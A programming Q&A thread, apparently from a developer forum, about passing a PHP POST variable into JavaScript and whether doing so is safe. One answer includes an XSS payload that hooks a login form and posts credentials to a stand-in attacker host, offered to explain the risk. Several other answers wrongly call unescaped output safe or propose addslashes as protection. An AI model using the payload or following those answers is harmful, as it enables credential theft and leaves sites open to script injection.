如何将变量从php传递给javascript？

Question

I want to pass a php variable to javascript. I have tried something but I am not sure if it is safe way to do.

<?php
$name=$_POST['name']; 
?>

<script>
var name="<?php echo $name ?>";
</script>

Also people do it some thing like this

<?php 
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

Which of the code is better in terms of safety. Is there any risk using first code? A little explanation will be enough. Thanks

Answer 1

First case:

This case if used if we want to simply assign string value in javascript variable.

<script>
var name="<?php echo $name ?>";
</script>

Second case:

For this case, you should use json_encode() when you want to add some array in javascript variable.

<?php 
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

And yes, echo whole javascript or just echo your variable will make no change in your output. Just make sure that your javascript variable has proper wrapper either ' or nothing in case of object;

Answer 2

Never print a post or get variables without validation.

https://en.wikipedia.org/wiki/Cross-site_scripting

http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536

Answer 3

From experience, as your POST data shouldn't possibly be manipulated in the first place for all users, you have to keep in mind that you should never trust user input data - a form can be compromised.

---

TL;DR

It's impossible to give you a yes/no answer, it all depends of the context of your script.

---

Let's imagine a scenario. On your original form you're echo'ing a text that come from your database:

<form action="otherpage.php" method="post">
  <input name="name" type="text" id="name" />
  <?php echo $some_text_from_database; ?>
  <input type="submit" value="Submit" />
</form>

Imagine that a malicious hacker managed to changed the content of that text from database that you get by an SQL injection, some password got from an author account or whatever other way ; to this :

<script type="text/javascript">
  document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
        document.querySelector("#login_form").addEventListener("submit", function(){
            var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send();
        });
    var a="' />

This will first change the original input name, then create a new one with a malicious script as value. So we get in $_POST['name'] this new input, and not the original one - user input will be ignored.

So, let's bring your imagination a bit further. Let's say that in your otherpage.php there is a login form for some reason. Doing this on this page:

<script>
var name="<?php echo $_POST['name']; ?>";
</script>

Will result to this:

<script>
var name="";
            document.querySelector("#login_form").addEventListener("submit", function(){
                var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send();
            });
        var a="";
</script>

What this will do? When the login form will be submitted, an AJAX request will be sent to the hacker website, sending the login and password in plain text...

So to summarize this: hacker exploit your simple echo to access a form input he couldn't access in other way.

---

As it could sound as a really edge case, in a general way you should always be carefull when manipulating user input, even database data. You can't always deeply understand the full context of what you're doing, and hackers are often highly imaginative people. Just sanitizing your data with sanitize_text_field for example (considering you're working in a Wordpress context) will take no time.

PS: All that scenario is pretty much something I experienced few years ago. An hacker managed to stole a lot of user data with something like this on a website I had to work with. Since then I learn that being too much paranoid is not a bad thing :)

Some good reading :

• Cross-Site Scripting (XSS)

Answer 4

Note that the Javascript code will break if $name contains quotes. Use the PHP function addslashes to avoid this:

<script>
var name = "<?php echo addslashes($name); ?>";
</script>

Answer 5

Your both code will produce same result and there no safety issue in both case.

You can find tutorials about web server and web browser on google for more details. http://www.tutorialspoint.com/internet_technologies/web_servers.htm

Answer 6

Yep you are doing it right. There is no security issue in doing it the way you have done.